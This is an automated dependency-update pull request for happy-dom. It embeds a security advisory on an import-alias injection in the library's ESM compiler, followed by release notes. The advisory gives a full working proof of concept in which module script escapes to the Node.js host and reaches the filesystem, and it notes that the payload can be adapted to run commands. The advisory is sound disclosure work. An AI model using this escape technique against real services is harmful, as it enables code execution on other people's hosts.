This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| happy-dom | ^20.6.2 → ^20.14.6 |
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
CVE-2026-115895 / GHSA-834v-8h66-3h79
More information
Details
Summary
The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
happy-dom@17.0.0happy-dom@20.0.0happy-dom@20.1.0happy-dom@20.14.5
The same PoC does not trigger on happy-dom@16.8.1.
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}2. Create dep.json
{}3. Create payload.mjs
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();5. Run the control test
npm install
node --check payload.mjsExpected result:
SyntaxError: Unexpected token '='This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
node poc.mjsExpected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOFThe existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOFImpact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
export { attacker_expression }Its fix added identifier validation to the importName used by the export { ... } handler:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}This report uses a different parsing and code-generation path:
import { name as malicious_alias } from './module';The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Suggested fix
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
Verification record
- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js:
24.14.1 - Latest tested package:
happy-dom@20.14.5 - Source tag:
v20.14.5 - Source commit:
0d4cdbe7442af49d16b49ddf1acf7cc9684ed318 - First confirmed affected version:
17.0.0 - Confirmed unaffected version:
16.8.1 - Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.
Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79
- https://github.com/capricorn86/happy-dom/pull/2537
- https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13
- https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4
- https://github.com/advisories/GHSA-834v-8h66-3h79
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
capricorn86/happy-dom (happy-dom)
v20.14.6
:construction_worker_man: Patch fixes
- Fixes cookie scope forgery vulnerability - By @capricorn86
v20.14.5
:construction_worker_man: Patch fixes
- Preserve character references in comment data - By @hampustagerud in task #2409
v20.14.4
:construction_worker_man: Patch fixes
- End comments at the first comment end tag when it overlaps a comment start tag - By @hampustagerud in task #2407
v20.14.3
:construction_worker_man: Patch fixes
- Avoids cloning all properties in CSSPropertyManager.toString - By @erictheswift in task #2363
v20.14.2
:construction_worker_man: Patch fixes
- Fixes regression where not all CSS variables where resolved in
getComputedStyle()- By @klaesra in task #2344
v20.14.1
:construction_worker_man: Patch fixes
- Invalidate the computed style cache for the whole subtree - By @matmannion and @capricorn86 in task #2366
v20.14.0
:art: Features
- Improves computed style cache - By @capricorn86 in task #2357
v20.13.2
:construction_worker_man: Patch fixes
- Fix problem with getComputedStyle with :host and :host-context selectors - By @capricorn86 in task #2349
v20.13.1
:construction_worker_man: Patch fixes
- GetComputedStyle should return inherited value when it is set to inherit - By @capricorn86 in task #2347
v20.13.0
:art: Features
- Adds support for :host psuedo query selector - By @capricorn86 in task #2345
v20.12.2
:construction_worker_man: Patch fixes
- Custom elements should be upgraded when connected to DOM - By @capricorn86 in task #2342
v20.12.1
:art: Features
- Adds support for kebab-case properties on
CSSStyleDeclaration- By @capricorn86 in task #2256 - Adds support for all Chromium CSS properties to
CSSStyleDeclaration- By @capricorn86 in task #2256- Downloads a list from the Chromium project when compiling
:construction_worker_man: Patch fixes
- Fixes issue with parsing CSS fallback variables - By @capricorn86 in task #2256
v20.12.0
:art: Features
- Adds support for
Animation,AnimationTimeline,DocumentTimelineandKeyframeEffect- By @capricorn86 - Adds support for
Element.animate()- By @capricorn86
v20.11.15
:construction_worker_man: Patch fixes
- Fixes issue with upgrading custom element caused by previous release - By @capricorn86 in task #2331
v20.11.14
:construction_worker_man: Patch fixes
- Change prototype of element to the custom element when upgraded to keep the reference - By @capricorn86 in task #2331
- The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid
v20.11.13
:construction_worker_man: Patch fixes
- Copy event listeners when upgrading a custom element - By @capricorn86 in task #2329
v20.11.12
:construction_worker_man: Patch fixes
- Add check for if the node is still a parent during disconnect - By @capricorn86 in task #2322
v20.11.11
:construction_worker_man: Patch fixes
- Use proxy as parent node in Node.connectedToNode - By @diegohaz in task #2253
v20.11.10
:construction_worker_man: Patch fixes
- Return default validationMessage for built-in constraint violations - By @mixelburg in task #2187
v20.11.9
:construction_worker_man: Patch fixes
- Make sure that the element has been upgraded before invoking reaction callback in custom elements - By @capricorn86 in task #2317
v20.11.8
:construction_worker_man: Patch fixes
- Values pushed or assigned to the
adoptedStyleSheetarray should be validated - By @capricorn86 in task #2315
v20.11.7
:construction_worker_man: Patch fixes
- The properties
Document.adoptedStyleSheetsandShadowRoot.adoptedStyleSheetsshould validate it's value - By @capricorn86 in task #2313
v20.11.6
:construction_worker_man: Patch fixes
- Updates docs for the global-registrator package - By @capricorn86 in task #2300
v20.11.5
:construction_worker_man: Patch fixes
- Allow explicit element types for querySelector (e.g.
querySelector<HTMLInputElement>(".my-input")) - By @cyphercodes
v20.11.4
:construction_worker_man: Patch fixes
- Fixes the CORS check
fetch()to match origins instead of host and protocol - By @rexxars in task #1490
v20.11.3
:construction_worker_man: Patch fixes
- Make document.links return a live HTMLCollection - By @bangseongbeom in task #2299
- Copy labels array to prevent mutation of cached querySelectorAll result - By @mixelburg in task #2226
v20.11.2
:construction_worker_man: Patch fixes
- MutationObserver callback being GC'd due to orphaned WeakRef - By @mixelburg in task #2264
v20.11.1
:construction_worker_man: Patch fixes
- Improve performance of query selectors by avoiding construction of DOMException when not needed - By @@cyfung1031 in task #2228
v20.11.0
:art: Features
- Adds support for CookieStore API - By @TrevorBurnham in task #1864
- Adds support for Element.checkVisibility() - By @capricorn86 in task #1506
v20.10.6
:construction_worker_man: Patch fixes
- Await NodeJS internal ReadableStream promise during teardown - By @capricorn86 in task #2217
v20.10.5
:construction_worker_man: Patch fixes
- Adds cache to query selector parser - By @capricorn86 in task #2142
- The selector parser degraded in performance in v20.6.3 to solve more complex selectors
- Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem
v20.10.4
:construction_worker_man: Patch fixes
v20.10.3
:construction_worker_man: Patch fixes
- Fix "~=" attribute selector matching hyphenated substrings in CSS selectors - By @mixelburg in task #2194
v20.10.2
:construction_worker_man: Patch fixes
- Updates external dependencies - By @capricorn86 in task #2163
v20.10.1
v20.10.0
:art: Features
- Adds support for setting a canvas adapter for handling the canvas rendering using the browser setting canvasAdapter - By @RAprogramm and @capricorn86 in task #241
- Adds new package @happy-dom/node-canvas-adapter - By @RAprogramm and @capricorn86 in task #241
- @happy-dom/node-canvas-adapter is a pluggable canvas adapter for Happy DOM using node-canvas.
- Adds support for loading image files when enabling the browser setting enableImageFileLoading - By @capricorn86 in task #241
- Adds support for loading image data URLs - By @capricorn86 in task #241
- Adds support for ImageData - By @capricorn86 in task #241
- Adds support for ImageBitmap - By @capricorn86 in task #241
- Adds support for Window.createImageBitmap() - By @capricorn86 in task #241
v20.9.0
:art: Features
- Adds support for event listener properties on Window (e.g.
Window.onkeydown) - By @capricorn86 in task #2131
v20.8.9
:construction_worker_man: Patch fixes
- Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @capricorn86 in task #2117
- A security advisory (GHSA-w4gp-fjgq-3q4g) was reported for this security vulnerability. Big thanks to @r74tech for reporting this!
v20.8.8
:construction_worker_man: Patch fixes
- Fixes issue where export names can be interpolated as executable code in ESM - By @capricorn86 in task #2113
- A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @tndud042713 for reporting this!
v20.8.7
:construction_worker_man: Patch fixes
- Replace implementing Node.js
Consolewith commonIConsoleinterface to support latest version of Bun - By @YevheniiKotyrlo in task #1845
v20.8.6
:construction_worker_man: Patch fixes
Request.formData()should honor "Content-Type" header - By @brianhelba in task #2106
v20.8.5
:construction_worker_man: Patch fixes
- Fixes error thrown when modifying DOM structure in
connectedCallback()- By @capricorn86 in task #2110
v20.8.4
:construction_worker_man: Patch fixes
- Replace ConsoleConstructor import with indexed access type - By @YevheniiKotyrlo in task #1845
v20.8.3
:construction_worker_man: Patch fixes
- Throw error if event is not of type
EventinEventTarget.dispatchEvent()- By @capricorn86 in task #2054
v20.8.2
:construction_worker_man: Patch fixes
- Resets
Event.cancelBubbleandEvent.defaultPreventedwhen callingEvent.initEvent()- By @capricorn86 in task #2090
v20.8.1
:construction_worker_man: Patch fixes
- Make "inert" attribute block focus interactions - By @coffeeandwork in task #1422
v20.8.0
:art: Features
- Adds support for setPointerCapture, hasPointerCapture, and releasePointerCapture to Element - By @coffeeandwork in task #1733
v20.7.2
:construction_worker_man: Patch fixes
- Properly decode CSS escape sequences in attribute selector values - By @silverwind
v20.7.1
:construction_worker_man: Patch fixes
- Fixes issue related to parsing direct descendants (
>) and universal (*) query selectors - By @Cherry in task #2078
v20.7.0
:art: Features
- Adds support for
Window.getScreenDetails()- By @TrevorBurnham in task #1923 - Extends
ScreenfromEventTarget- By @TrevorBurnham in task #1923
v20.6.5
:construction_worker_man: Patch fixes
- Add clearImmediate to Jest environment global scope - By @TrevorBurnham in task #1927
v20.6.4
:construction_worker_man: Patch fixes
- Normalize invalid input type attribute to "text" per HTML spec - By @atzzCokeK in task #2053
v20.6.3
:construction_worker_man: Patch fixes
- Refactors query selector parser to be able to handle complex rules - By @capricorn86 in task #1910
- Fixes issue related to using query selector for attribute in XML document - By @capricorn86 in task #1912
- Fixes issue with using quotes within quotes for attribute query selector (e.g.
[data-value="it's a test"]) - By @capricorn86 in task #2034
Configuration
📅 Schedule: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.